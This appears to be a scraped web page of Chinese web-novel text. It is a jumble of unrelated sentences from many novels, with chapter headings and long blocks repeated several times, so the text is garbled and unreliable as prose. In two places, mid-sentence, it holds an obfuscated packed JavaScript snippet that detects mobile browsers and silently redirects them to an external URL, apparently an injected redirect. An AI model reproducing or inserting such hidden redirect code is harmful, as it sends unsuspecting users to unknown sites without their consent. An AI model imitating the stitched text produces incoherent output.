信中好不忘向自己自己索要新的歌曲,他摇了摇头,这老牛可是自己比较好的同学了,这个面子不能驳了,叶尘想了想符合甘静的歌曲,然后就做好了决定。 几乎是下意识的,所有在苏牧前方的狱卒这个时候都是主动的让开,甚至有些人不敢和苏牧对视眼神,这种震慑力可想而知有多大? 周围的堕落天使一个接着一个飞向了天际,然后消失在云海之中,而此时的天使炙心也张开翅膀,然后慢慢的飞向苏牧的位置,紧随着往下落去,而苏牧和金凝只能随着她慢慢的落在了城堡的房顶上。 而现在步悔的直播间可不同了,人数已经稳定在了十六万到十八万之间,如果单看观众人数的话。 更何况这次的拍摄器材,都是张其利支援给自己的,这里面的情分自然不用多说了,该还的时候自然是要还的。 夏末睁开惺松的睡眼,昏昏沉沉的从床上下来,拿起桌上的茶杯倒了杯茶漱了漱口。 志泽对我的想法也很赞许,含笑微微朝我点了点头。此刻我心中则是出奇的平静,告诉自己,这原本就是不属于我的东西,我没有强取的权力,我所要做的,就是要让它有个好的归宿。 “喜不喜欢是你的事情,但她,我还真是没有看出来,居然藏得那么深。”苏沫嘴角的笑意只剩下浅浅一点,说起来林雨给她的礼还真是不少呢。 所以,此时此刻,他必须抗下这个【星芒击】,给蛇七拉扯出时间赶来帮他。 这对杨纵横无疑具有巨大的吸引力,见是不好见了,但是威力还是可以看一看的。 离火冷笑一声,天空中传来响起一阵呼啸声,接着漫天火舌如同雨点一般倾泻而下。 齐保良因为齐卫东的婚事,把家里的存款钱都花得七七八八了,只能卖了家里的手扶拖拉机给妻子看病,齐卫青更是将自己工作以来的攒下的工资都拿了出来。 她虽然不认识眼前这个男人,不知道对方是谁,却听荣寒城刚刚叫他聂叔,想来是姓聂,就跟着一起这么叫。 温软眼底略过一抹慌乱,不过她也立刻反应过来,应该是那日她去机场偶遇魏长泽被媒体拍到,拥抱的照片也许是角度问题。 暮色沉沉,青铜色的天幕宛若一张遮天大网,披散黑暗,笼罩在龙首山的五座山峰。 张医生向来有一说一,他说老大过不了多久能醒,老大就一定能醒。 医院已经上班,可以办手续出院,老爷子非让人先不办,说再等等。 “喜欢就好,吃吧。”苏琪趁动碗筷前手还干净,揉了揉蓝惜的头发。 殿门外,胡尽忠和孙良言伸长脖子在外面等候。 宫如芊喜欢坐在安静偏僻的角落里,她的那种忧郁的气质吸引了旁边的一些居心不良的荷尔蒙的关注,她连眼皮都懒得抬一下,低头品味着美味的咖啡,静静的等待。 兰燕睁开眼一看,秦傲风的脸就近大咫尺,不由的心咯噔一下开始砰砰直跳,脸也红的像烧红的祸底,怔怔的望着秦傲风。 信中好不忘向自己自己索要新的歌曲,他摇了摇头,这老牛可是自己比较好的同学了,这个面子不能驳了,叶尘想了想符合甘静的歌曲,然后就做好了决定。 几乎是下意识的,所有在苏牧前方的狱卒这个时候都是主动的让开,甚至有些人不敢和苏牧对视眼神,这种震慑力可想而知有多大? 周围的堕落天使一个接着一个飞向了天际,然后消失在云海之中,而此时的天使炙心也张开翅膀,然后慢慢的飞向苏牧的位置,紧随着往下落去,而苏牧和金凝只能随着她慢慢的落在了城堡的房顶上。 而现在步悔的直播间可不同了,人数已经稳定在了十六万到十八万之间,如果单看观众人数的话。 更何况这次的拍摄器材,都是张其利支援给自己的,这里面的情分自然不用多说了,该还的时候自然是要还的。 夏末睁开惺松的睡眼,昏昏沉沉的从床上下来,拿起桌上的茶杯倒了杯茶漱了漱口。 志泽对我的想法也很赞许,含笑微微朝我点了点头。此刻我心中则是出奇的平静,告诉自己,这原本就是不属于我的东西,我没有强取的权力,我所要做的,就是要让它有个好的归宿。 “喜不喜欢是你的事情,但她,我还真是没有看出来,居然藏得那么深。”苏沫嘴角的笑意只剩下浅浅一点,说起来林雨给她的礼还真是不少呢。 所以,此时此刻,他必须抗下这个【星芒击】,给蛇七拉扯出时间赶来帮他。 这对杨纵横无疑具有巨大的吸引力,见是不好见了,但是威力还是可以看一看的。 离火冷笑一声,天空中传来响起一阵呼啸声,接着漫天火舌如同雨点一般倾泻而下。 齐保良因为齐卫东的婚事,把家里的存款钱都花得七七八八了,只能卖了家里的手扶拖拉机给妻子看病,齐卫青更是将自己工作以来的攒下的工资都拿了出来。 她虽然不认识眼前这个男人,不知道对方是谁,却听荣寒城刚刚叫他聂叔,想来是姓聂,就跟着一起这么叫。 温软眼底略过一抹慌乱,不过她也立刻反应过来,应该是那日她去机场偶遇魏长泽被媒体拍到,拥抱的照片也许是角度问题。 暮色沉沉,青铜色的天幕宛若一张遮天大网,披散黑暗,笼罩在龙首山的五座山峰。 张医生向来有一说一,他说老大过不了多久能醒,老大就一定能醒。 医院已经上班,可以办手续出院,老爷子非让人先不办,说再等等。 “喜欢就好,吃吧。”苏琪趁动碗筷前手还干净,揉了揉蓝惜的头发。 殿门外,胡尽忠和孙良言伸长脖子在外面等候。 宫如芊喜欢坐在安静偏僻的角落里,她的那种忧郁的气质吸引了旁边的一些居心不良的荷尔蒙的关注,她连眼皮都懒得抬一下,低头品味着美味的咖啡,静静的等待。 兰燕睁开眼一看,秦傲风的脸就近大咫尺,不由的心咯噔一下开始砰砰直跳,脸也红的像烧红的祸底,怔怔的望着秦傲风。 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医院已经上班,可以办手续出院,老爷子非让人先不办,说再等等。 “喜欢就好,吃吧。”苏琪趁动碗筷前手还干净,揉了揉蓝惜的头发。 第一卷 第153章 床上一时情动,什么都答应她 “呀呀呀!气死我了!接连两次被秒杀,直把卡瓃太上长老气得吹胡子瞪眼,大叫不止。 “只要我们利用这些食材,再按照这上面的方法去做,这些如同灵丹妙药一般的食材做出来的食疗菜肴和药膳菜肴,绝对能让人吃的开胃,又能治病。老唐震惊的道。 “莫非你得了伏羲的传承?。无量道士一双眼睛贼溜溜的看着林枫。 倾城国际的那些高层,则是一个个还坐在位置上,你看看我,我看看你,都没有先开口。 向着华新和韩梦颖两人围拢过来的保镖闻言,瞪着华新退了开来。 整个操场,大一大二大三大四足足四个年级,几万学生,都张着嘴巴,和看到了鬼神一般,死死地盯着叶轩。 他突兀的想到了,之前叶轩选择代表经济学二班加入金融学院的排球队的时候说的话——之所以加入金融学院排球队,为的是给薛亮一个教训。 “这边说话。华新示意衣着光鲜的年轻男子,随后率先走出病房,来到走廊过道上。 圣光被挡住,麦肯并没有丝毫的惊惶,相反,他嘴角抹过一丝冷笑,随手一挥,那圣光当中立刻冲出两把耀眼的白光长矛,气势汹汹地朝着杜宇刺了过来。 白顺和敖史的目光在几人身上扫过一遍,回想之前发生的事情,都是感觉头皮发麻。 陆羽一想到自己对尼克弗瑞的暗示可能被希尔听到了,心里慌的一匹。 “无名之辈,跑来送死!祖大寿不知来人是谁,恼羞成怒之下,急是转动手中战刀,一刀劈向王进才。 时间转瞬就过去了三年,谁也不知道妖皇秘境发生了什么,只知道东极帝国极为强大的妖皇秘境一夜间消失的无影无踪,而在其中历练的九大势力子弟,无一生还。 “卑职承蒙大将军不弃,恩养甚厚,今将军有所驱驰,敢不奉命,愿随大将军前往。宋献策也是拱手拜道,表明自己的心意。 待客道士就不乐意了,道士道士你就不会叫声道长?仙长?仙师?你家长辈咋教你来着,连点礼貌都不懂? 远处青山巍巍,近处松柏蓊郁,间或鸟鸣更添肃穆之气。在这种气氛的衬托下,黄家一些人心里的那一些关于家族的因子,在某个到达临界点的时刻被唤醒。这时候,便是那些平日里与家族中人联系不多的族人也受到了感染。 “三皇子?您怎么来了?”站在雨薇身后,易慧芳的目光落在门外的男人身上。 “幕天然,你总不能赖在我这里白吃白住,以后就让你来做饭了。”安如嫣气呼呼的道。 林然知道对方要逃,一个箭步便是来到窗前,低头看去,发现已经没有了那头变异丧尸的存在。 “今天不来收保护费,少他妈管闲事,滚开!”普老大浓眉大眼,模样凶狠,一条纹身长蛇缠绕在他的脖子上,蛇信延伸至他的嘴角边,随着说话蠕动,怪吓人的。 等舰长忙完一切开门出来,虎狮和流星已经换好衣服在门外等候。 四周的御林军已经将徐峰和刚才交手的那个士兵围在中间,从衣着上也看出来,和他交手的那人,也就是这个队伍里的头,可以成为御林军一个队的头,确实是需要一点本事。 此刻的姜维在办公室内是坐立难安,脸上满是焦急和愧疚的神色,这几次的对于聚众**的事情阻止,稍微见了点成效就让他忘乎所以了。 洲莯对他的人说道:“天仙驾临期间,所有人不用守卫在神殿外。到神道路口**即可,没有得到天仙的允许,不许任何人靠近神殿”。 邪能污染者费曼的剑从手上出现了,说是剑,但是那形状,真的算不上是一把剑,他好像是活的,好像是一条龙,但是绝地不是龙。 魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399604|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魁说着就朝我追了上来,笑声让我感觉被他爆了菊花一样开始反胃了。 马多夫搞不懂为什么,但这巨大的折线图落差,让他神情激动之下晕了过去。 宫洺听到了叶玄的话以后,突然好想就意识到了什么一样。他也要忘记了。 “这种人要么真没问题,要么就是大问题,别管他了。”关菁道。 冥想会消耗大量的能量包括精神力、体力以及意志力。所以在兰斯睁开双眼的时候,迎面而来的却是一阵恐怖的虚弱感。 “我有个想法,正好可以借着这块牧场试上一试。”太史昆道:“反正矿藏咱们也不急着用,所以呢,牧场仍旧让牧民自由放牧,咱们只是选择一块水草丰满之地建设一座寺庙。 “有人?不是丧尸”李叶一瞬间就判断出了这个决定,他虽然头还有一些昏沉,但是对于睡着之前的所作所为还是知道的。 又走了一会,夏莉终究耐不住心中的疑惑,停下脚步,转头望着我。 “那你看我敢不敢!”林白云见她花容月亭亭玉立,再也忍受不住,狞笑一声,疯狂地扑了上去。 矗立在雨中的三百余蓑衣人一片寂静,只有站在画舫船尾的一位,缓缓摘下了头上的斗笠。 这团巨大的黑气不停的变幻着,仿佛可以把人拉入无尽的深渊,无法重见天日。 绫崎飒无时无刻不想回到三千院的身边,这一战可是可以达成长久以来的期望,即使死也不能输。 原本镇守在中卫身前的卡里克一直在履行自己的后腰职责,听到老爵爷的忽然瞬间就冲了上去。 攻击结束,两个治疗也停手恢复蓝,让恢复术慢慢恢复气血,保持着闫兆旭的气血就行,闫兆旭大地战士10级天赋也分为两系,一系是T,使用土魔法防御,同时增加仇恨,一系便是输出,如同使用土系魔法攻击的魔剑士。 第一卷 第154章 怀了孩子也会想办法打掉 我看了看时间,对面的精英队部立刻行了敬礼,整齐地走了出去。 随后,王家家主化作一道璀璨的流光,虚空之门打开,王家家主瞬间就没入了其中,消失不见,只留下脸色十分难看的两名护卫。 想到这,众人看向天狼军的目光多了一丝艳羡,毕竟先前几批降临的,仅仅魔族方面都会派发不少的好处,就更加别说降临人界之后能第一时间掌握什么情报了。 “没玩够,玩不够,还有好玩的地方吗?”林若雨撒娇道,虽然李洛玄的经历凶险万分,但是脱线之后的心情舒爽就像是**似的,她现在非常享受这个过程。 “你们说,如果刀厉屠戮了整个烂灵域所有生灵,吸尽精血,他的血刃刀影能不能斩灭了这天道?”贺一鸣也来到了吴勇身边,揶揄地笑了起来。 “韩道友……我们要做的,就是抗衡那三名魔族大将,尽可能地不要对那些低境界的魔族出手,否则的话,他们也会对我们的人出手。”云城主向韩夜解释道。 “……”李洛玄虽然记着这个方法了,增强力量固然是好是,可是万一要是失控了,那可就变成坏事了。末世流浪者和感染者一样,万一哪一个失控了,造成的后果都是人无法预料的。 “唔……”熊莫敌沉吟了一阵,真是怕什么来什么,吴勇竟真的想要救这队人!如果吴勇插手这件事的话,以那变异铠甲魔的手段,胜利天平只怕要向恶谒老妪倾斜了。 “呵呵,恐怕让你失望了,我其实才第三。”西门宇笑道,对周三此话的目的了然于胸。 换句话说,只要有足够的灵石支撑,这三千青云骑,便能变成三千灵府境的高手,再配合以战阵的威力,所能形成的冲击力,便足以令任何人,任何势力动容。 “大头,你可是一个敌我分明的人,那你看我是你的敌人还是你的朋友呢?”欧阳晓丽轻声问道。 而纪暝也知道,看来蓝火星卫之上就是尊者了,一千万妖币一名蓝火星卫,那么尊者便是一亿妖币了。 我就觉得有一只无形的手,它正狠狠的抽打着我的脸颊,甚至这一刻,我都有股子无言以对的感觉。 韩东扶着悲伤过度的谢思琪,随着人流缓缓前进。到了谢正和的灵龛灵像前,谢思琪又止不住悲痛之情,扑到在地放声痛哭起来。 这还仅仅是紫晶获得的难题,还有一个问题他也颇为头 疼,对于人类、至少他还有龙脉之气,灵目族也有神灵目,但是其他种族怎么办? 勃然大怒,白骨神却是再顾不上白乐,一步重重一踏,那庞大的身躯顿时飞向天空,狠狠向着慈航大士杀了过去。 “孙子——孙子,我是你爷爷呀!”一品方丈突然脸色红晕,像是返老还童,声情并茂的说道。 “呵呵,王法,**吧!”蒙面人不顾地上的吴阿姨,举着刀子向韩东冲了过来。吴阿姨这才醒悟,是面前的这个后生救了自己。 风凌哪会给他们机会,还没等他们扣动**,便将两人的脖子扭断,赶去见阎王了。 一号持续不断的向上攀升,当周围彻底被黑暗取代的时候,脚下的海洋已经彻底变成一个球形,蓝色海洋、白色的云团、绿色的大地全都浓缩在方寸之间。 我和欧阳菘瑞便再次随着他们来到那建木心眼之处,没想到我居然会重新回到这里。 “好好,我这就给您打开,您自己看就知道了,那人真就是个又穷又傻的傻子,怎么可能认识老板嘛,根本不可能的事情。”门房闻言只好开门,一边开一边嘟嘟囔囔的道。 站在城墙上面一直紧盯着迷雾森林林柯,看到大批的玩家终于杀了进来,他眼睛中散发出凌厉之色。 正在水潭深处闭眸养息的水麒麟兽听到了喧哗,马上咆哮着飞出水潭。 甲板上,大哥荣突然打了个寒噤,感觉有些冷。有鼻涕从鼻孔里流出来,大哥荣骂道:“妈-的,什么意思?”摸摸鼻子,黏黏的,一看,手上全是鲜血。 “你……你是稽查队的人?”周永泰放下电话,声音都有些颤抖了,提起这个名称,心里有抑制不住的恐惧和敬畏。 “这样吧,我也没带着剑来,听说杜生月长老的长恨钩很厉害,不知道能不能借我用用。”苍云道。 偏殿中,座椅宽大而柔软,圆木一屁股坐在一张宽大的软座椅中间,将座椅压塌了一块,双臂搂住座椅靠背,闭目不语。 一位老者坐在街边的石台上,刚刚下过雨的街道显得有些湿滑,积水坑中的雨水清澈,倒映出老者脸上的皱纹和淡淡哀愁。 眸中眸镜中镜深深地叹了一口气,既然是这样,那就陪着他一起战斗到最后一分钟吧。 我于是也学二爷爷的样子,爬到地上去听,不听不要紧,这一听我竟觉得不可思议。 圆舞听从了他手下的建议,等唐易出场的时候便来此捉拿唐易,接着引出唐易背后的势力,再用唐易来要挟这个势力。 太空港B区转C区的通道内设有一个关卡,C区基本都是办公区,不需要换区的乘客和工作人员会被劝退,黑衣男借口自己要退换客运舰机票,费了半天口舌,才走了过去,行李箱却被留了下来。 疼,对于人类、至少他还有龙脉之气,灵目族也有神灵目,但是其他种族怎么办? 勃然大怒,白骨神却是再顾不上白乐,一步重重一踏,那庞大的身躯顿时飞向天空,狠狠向着慈航大士杀了过去。 “孙子——孙子,我是你爷爷呀!”一品方丈突然脸色红晕,像是返老还童,声情并茂的说道。 “呵呵,王法,**吧!”蒙面人不顾地上的吴阿姨,举着刀子向韩东冲了过来。吴阿姨这才醒悟,是面前的这个后生救了自己。 风凌哪会给他们机会,还没等他们扣动**,便将两人的脖子扭断,赶去见阎王了。 一号持续不断的向上攀升,当周围彻底被黑暗取代的时候,脚下的海洋已经彻底变成一个球形,蓝色海洋、白色的云团、绿色的大地全都浓缩在方寸之间。 我和欧阳菘瑞便再次随着他们来到那建木心眼之处,没想到我居然会重新回到这里。 “好好,我这就给您打开,您自己看就知道了,那人真就是个又穷又傻的傻子,怎么可能认识老板嘛,根本不可能的事情。”门房闻言只好开门,一边开一边嘟嘟囔囔的道。 站在城墙上面一直紧盯着迷雾森林林柯,看到大批的玩家终于杀了进来,他眼睛中散发出凌厉之色。 正在水潭深处闭眸养息的水麒麟兽听到了喧哗,马上咆哮着飞出水潭。 甲板上,大哥荣突然打了个寒噤,感觉有些冷。有鼻涕从鼻孔里流出来,大哥荣骂道:“妈-的,什么意思?”摸摸鼻子,黏黏的,一看,手上全是鲜血。 “你……你是稽查队的人?”周永泰放下电话,声音都有些颤抖了,提起这个名称,心里有抑制不住的恐惧和敬畏。 “这样吧,我也没带着剑来,听说杜生月长老的长恨钩很厉害,不知道能不能借我用用。”苍云道。 偏殿中,座椅宽大而柔软,圆木一屁股坐在一张宽大的软座椅中间,将座椅压塌了一块,双臂搂住座椅靠背,闭目不语。 一位老者坐在街边的石台上,刚刚下过雨的街道显得有些湿滑,积水坑中的雨水清澈,倒映出老者脸上的皱纹和淡淡哀愁。 眸中眸镜中镜深深地叹了一口气,既然是这样,那就陪着他一起战斗到最后一分钟吧。 我于是也学二爷爷的样子,爬到地上去听,不听不要紧,这一听我竟觉得不可思议。 圆舞听从了他手下的建议,等唐易出场的时候便来此捉拿唐易,接着引出唐易背后的势力,再用唐易来要挟这个势力。 太空港B区转C区的通道内设有一个关卡,C区基本都是办公区,不需要换区的乘客和工作人员会被劝退,黑衣男借口自己要退换客运舰机票,费了半天口舌,才走了过去,行李箱却被留了下来。 疼,对于人类、至少他还有龙脉之气,灵目族也有神灵目,但是其他种族怎么办? 勃然大怒,白骨神却是再顾不上白乐,一步重重一踏,那庞大的身躯顿时飞向天空,狠狠向着慈航大士杀了过去。 “孙子——孙子,我是你爷爷呀!”一品方丈突然脸色红晕,像是返老还童,声情并茂的说道。 “呵呵,王法,**吧!”蒙面人不顾地上的吴阿姨,举着刀子向韩东冲了过来。吴阿姨这才醒悟,是面前的这个后生救了自己。 风凌哪会给他们机会,还没等他们扣动**,便将两人的脖子扭断,赶去见阎王了。 一号持续不断的向上攀升,当周围彻底被黑暗取代的时候,脚下的海洋已经彻底变成一个球形,蓝色海洋、白色的云团、绿色的大地全都浓缩在方寸之间。 我和欧阳菘瑞便再次随着他们来到那建木心眼之处,没想到我居然会重新回到这里。 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“好好,我这就给您打开,您自己看就知道了,那人真就是个又穷又傻的傻子,怎么可能认识老板嘛,根本不可能的事情。”门房闻言只好开门,一边开一边嘟嘟囔囔的道。 站在城墙上面一直紧盯着迷雾森林林柯,看到大批的玩家终于杀了进来,他眼睛中散发出凌厉之色。 正在水潭深处闭眸养息的水麒麟兽听到了喧哗,马上咆哮着飞出水潭。 甲板上,大哥荣突然打了个寒噤,感觉有些冷。有鼻涕从鼻孔里流出来,大哥荣骂道:“妈-的,什么意思?”摸摸鼻子,黏黏的,一看,手上全是鲜血。 “你……你是稽查队的人?”周永泰放下电话,声音都有些颤抖了,提起这个名称,心里有抑制不住的恐惧和敬畏。 “这样吧,我也没带着剑来,听说杜生月长老的长恨钩很厉害,不知道能不能借我用用。”苍云道。 偏殿中,座椅宽大而柔软,圆木一屁股坐在一张宽大的软座椅中间,将座椅压塌了一块,双臂搂住座椅靠背,闭目不语。 一位老者坐在街边的石台上,刚刚下过雨的街道显得有些湿滑,积水坑中的雨水清澈,倒映出老者脸上的皱纹和淡淡哀愁。 眸中眸镜中镜深深地叹了一口气,既然是这样,那就陪着他一起战斗到最后一分钟吧。 我于是也学二爷爷的样子,爬到地上去听,不听不要紧,这一听我竟觉得不可思议。 圆舞听从了他手下的建议,等唐易出场的时候便来此捉拿唐易,接着引出唐易背后的势力,再用唐易来要挟这个势力。 太空港B区转C区的通道内设有一个关卡,C区基本都是办公区,不需要换区的乘客和工作人员会被劝退,黑衣男借口自己要退换客运舰机票,费了半天口舌,才走了过去,行李箱却被留了下来。 疼,对于人类、至少他还有龙脉之气,灵目族也有神灵目,但是其他种族怎么办?

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勃然大怒,白骨神却是再顾不上白乐,一步重重一踏,那庞大的身躯顿时飞向天空,狠狠向着慈航大士杀了过去。 “孙子——孙子,我是你爷爷呀!”一品方丈突然脸色红晕,像是返老还童,声情并茂的说道。 “呵呵,王法,**吧!”蒙面人不顾地上的吴阿姨,举着刀子向韩东冲了过来。吴阿姨这才醒悟,是面前的这个后生救了自己。 风凌哪会给他们机会,还没等他们扣动**,便将两人的脖子扭断,赶去见阎王了。 一号持续不断的向上攀升,当周围彻底被黑暗取代的时候,脚下的海洋已经彻底变成一个球形,蓝色海洋、白色的云团、绿色的大地全都浓缩在方寸之间。 我和欧阳菘瑞便再次随着他们来到那建木心眼之处,没想到我居然会重新回到这里。 “好好,我这就给您打开,您自己看就知道了,那人真就是个又穷又傻的傻子,怎么可能认识老板嘛,根本不可能的事情。”门房闻言只好开门,一边开一边嘟嘟囔囔的道。 站在城墙上面一直紧盯着迷雾森林林柯,看到大批的玩家终于杀了进来,他眼睛中散发出凌厉之色。 正在水潭深处闭眸养息的水麒麟兽听到了喧哗,马上咆哮着飞出水潭。 甲板上,大哥荣突然打了个寒噤,感觉有些冷。有鼻涕从鼻孔里流出来,大哥荣骂道:“妈-的,什么意思?”摸摸鼻子,黏黏的,一看,手上全是鲜血。 “你……你是稽查队的人?”周永泰放下电话,声音都有些颤抖了,提起这个名称,心里有抑制不住的恐惧和敬畏。 “这样吧,我也没带着剑来,听说杜生月长老的长恨钩很厉害,不知道能不能借我用用。”苍云道。 偏殿中,座椅宽大而柔软,圆木一屁股坐在一张宽大的软座椅中间,将座椅压塌了一块,双臂搂住座椅靠背,闭目不语。 一位老者坐在街边的石台上,刚刚下过雨的街道显得有些湿滑,积水坑中的雨水清澈,倒映出老者脸上的皱纹和淡淡哀愁。 眸中眸镜中镜深深地叹了一口气,既然是这样,那就陪着他一起战斗到最后一分钟吧。 我于是也学二爷爷的样子,爬到地上去听,不听不要紧,这一听我竟觉得不可思议。 圆舞听从了他手下的建议,等唐易出场的时候便来此捉拿唐易,接着引出唐易背后的势力,再用唐易来要挟这个势力。 太空港B区转C区的通道内设有一个关卡,C区基本都是办公区,不需要换区的乘客和工作人员会被劝退,黑衣男借口自己要退换客运舰机票,费了半天口舌,才走了过去,行李箱却被留了下来。 疼,对于人类、至少他还有龙脉之气,灵目族也有神灵目,但是其他种族怎么办? 勃然大怒,白骨神却是再顾不上白乐,一步重重一踏,那庞大的身躯顿时飞向天空,狠狠向着慈航大士杀了过去。 “孙子——孙子,我是你爷爷呀!”一品方丈突然脸色红晕,像是返老还童,声情并茂的说道。 “呵呵,王法,**吧!”蒙面人不顾地上的吴阿姨,举着刀子向韩东冲了过来。吴阿姨这才醒悟,是面前的这个后生救了自己。 风凌哪会给他们机会,还没等他们扣动**,便将两人的脖子扭断,赶去见阎王了。 一号持续不断的向上攀升,当周围彻底被黑暗取代的时候,脚下的海洋已经彻底变成一个球形,蓝色海洋、白色的云团、绿色的大地全都浓缩在方寸之间。 我和欧阳菘瑞便再次随着他们来到那建木心眼之处,没想到我居然会重新回到这里。 “好好,我这就给您打开,您自己看就知道了,那人真就是个又穷又傻的傻子,怎么可能认识老板嘛,根本不可能的事情。”门房闻言只好开门,一边开一边嘟嘟囔囔的道。 站在城墙上面一直紧盯着迷雾森林林柯,看到大批的玩家终于杀了进来,他眼睛中散发出凌厉之色。 正在水潭深处闭眸养息的水麒麟兽听到了喧哗,马上咆哮着飞出水潭。 甲板上,大哥荣突然打了个寒噤,感觉有些冷。有鼻涕从鼻孔里流出来,大哥荣骂道:“妈-的,什么意思?”摸摸鼻子,黏黏的,一看,手上全是鲜血。 “你……你是稽查队的人?”周永泰放下电话,声音都有些颤抖了,提起这个名称,心里有抑制不住的恐惧和敬畏。 “这样吧,我也没带着剑来,听说杜生月长老的长恨钩很厉害,不知道能不能借我用用。”苍云道。 偏殿中,座椅宽大而柔软,圆木一屁股坐在一张宽大的软座椅中间,将座椅压塌了一块,双臂搂住座椅靠背,闭目不语。 一位老者坐在街边的石台上,刚刚下过雨的街道显得有些湿滑,积水坑中的雨水清澈,倒映出老者脸上的皱纹和淡淡哀愁。 眸中眸镜中镜深深地叹了一口气,既然是这样,那就陪着他一起战斗到最后一分钟吧。 我于是也学二爷爷的样子,爬到地上去听,不听不要紧,这一听我竟觉得不可思议。 圆舞听从了他手下的建议,等唐易出场的时候便来此捉拿唐易,接着引出唐易背后的势力,再用唐易来要挟这个势力。 太空港B区转C区的通道内设有一个关卡,C区基本都是办公区,不需要换区的乘客和工作人员会被劝退,黑衣男借口自己要退换客运舰机票,费了半天口舌,才走了过去,行李箱却被留了下来。 第一卷 第155章 江美人今晚很不一样 “松开。男人蹙眉,低头看着身上弯弯绕绕的铁链,声音沙哑着开口道。 一个大龟妖出现在黑暗的水世界里,上面站着将近一百名强壮的人,第一个是身穿黑色盔甲的人,他周围是主要的神和河妖,其中许多都身居高位。 这玫瑰露色泽嫣红,甜香四溢,我以为跟果汁差不多,仰头喝了一大口,谁知甜软清润之中还是带着几分辛辣刺喉,我咽下去一半,吐出来一半,还被呛得咳嗽不止。 如今的世界与六十年前的大灾难大相径庭,这颗蓝色星球又一次被云端所掌控,人类世界又一次遇到了重大危机。 妙收拾好出来,霍琛手里提着黑色塑料袋,低着头,看都不敢看妙妙一眼,就把袋子递了过去。 哥哥那边她是不能插手,只是她也不愿委屈了穗儿,或许给穗儿另找一个好的,时日一久,也许就忘了那档子事了。 所以即使楚自由在如何逼迫他,他也不敢告诉楚自由,怕被五门找到他。 “敢闯我的地盘,我是吴斌,我手上有紧急权力令牌,我是至高无上的存在,区区一个**人,你好大的肝子,敢闯入我这里。吴斌傲慢地说道。 可不知怎么,她现在却生出一种错觉,总觉得他并不是故意的,他的本性并非如此。 “只是因为面子?语气有些冷,可着他堂堂的雍亲王在她心里连那点儿面子都比不上? “哈哈!你是普通人?普通人,你是怎么领悟到邪神级别力量了!风圣脸上惨笑,难以置信。 “只有死在战场上的牛头人,没有尸体屁股超前的懦夫。 那时她和阿琰还没有被困在山谷里,也没有参加临渊宫的初试,没有遇见绿裙姑娘青寒,没有遇见爱吃烧鸡的师尊,也没有花前月下的海誓山盟。 一排排车队有序的离开,记者们并不知道他们等的主席已经坐车离开了。 彼诺修点了点头,搀扶着巴尔雷娜朝那个距离入口最近的毡布房走去,班图族这种天子守国门的建筑布局,倒是让巴赞点头称赞了一下。 时南说完之后便走下了台也没管在座的人是什么态度,似乎这一切都跟他没什么关系。 收心,不管下面死伤无数,早已经溃不成军的水怪,刘金风处理完了这些,再度朝着南城区飞去。 客栈后边的柳树林里立着两道身影,一位是身穿红袍的公子,他那双迷离的桃花眼似能摄人心魂,手腕处的银铃铛在阳光下刺眼至极,红袍公子对面的白衣人正是云玥寻了许久的霁琰。 几人睡醒后,都各自上班去了,黄刺也走了,林凡伤势已经痊愈,也不能一直让人家待在这里。 他们这个冷却塔距离三哥防守的冷却塔虽然算不上太远,但现在秦兵那里号角齐鸣,鼓声连连,加之塔顶的风也确实太大,邹清这一嗓子三哥连一个字都没听到,还是在埋头对付另一方的秦兵。 她冷然起身,马上恢复了高傲、娇贵的样子,往战天酆、落日玄烈而去。 但送货上门有一个最大的麻烦,语言,英法等大语种还好,但这次主打非洲,非洲的土语,翻译上是一个大问题,宋玉琼恰好发现阳顶天居然懂非洲土语,所以就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411621|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找他了。 夏曦个子比张冰倩要高,身量苗条,雪白的一张瓜子脸,眼眸清亮,进屋看到阳顶天,眼光扫了一下,就错开了。 “可还满意?”璃梦晨在他身边柔声道,不知怎么回事,风天佑从她的话音里听出来了一点自豪感。 平田秀一居然在自己眼鼻子底下弄出这么大一个租界沙盘来,这倒是让他感到有些惊讶。 杜玉玲并没有看清簪子的模样,但是她知道只要是杨正给的东西,她就喜欢。 以前还好,最多拖个一两个月,就会结帐,但这一次,却拖了半年多了,所以谢言急起来。 失去了鳞甲保护的蛇尾!根本没有办法阻挡的住醉红尘的侵袭,顷刻间!大量嫣红的鲜血从阿波菲斯的创口处喷出。 鲲鹏那一双眸子中,有无尽的岁月在流失,一眼过去,沧海桑田,百世沉浮,万古悠悠而逝。 一念至此,两人互相看了一眼,半句话不说,便已齐齐冲着丁洋而来。 雅克神父愕然地看着房间里的情景,他有点反应不过来。因为虽然如他设想地一样,房间里发生了**件,但是流血的人却不是他担心的埃克特夫人,反而是他一开始想象的行凶者李卫。 雅克神父急促地说道:“李卫你真的有办法?这次你需要什么样的道具?你给我说,我马上给你准备。”雅克神父想到先前李卫的几次出手,他都是需要道具的辅助的。 有人想要偷偷溜出去找警卫队报告,但一刻屁股下那些破凳子就像长了翅膀一样自己飞了起来,不少人在猝不及防下被摔了个四脚朝天。 第一卷 第156章 带着满腔怒火吻住她的唇 比赛继续波澜不惊地进行着,10:5,等到上半场比赛结束,我们已经将优势牢牢地攥在了手心中。 反正这诗句中已经预言了聂枫会到禁地,自己阻挠谁知道会不会引起什么可怕存在的窥视?别以为老古董真的死光了,无边的神魔大陆中,隐藏着的逆天强者,多着呢,既然是这样,众人也就顺水推舟了。 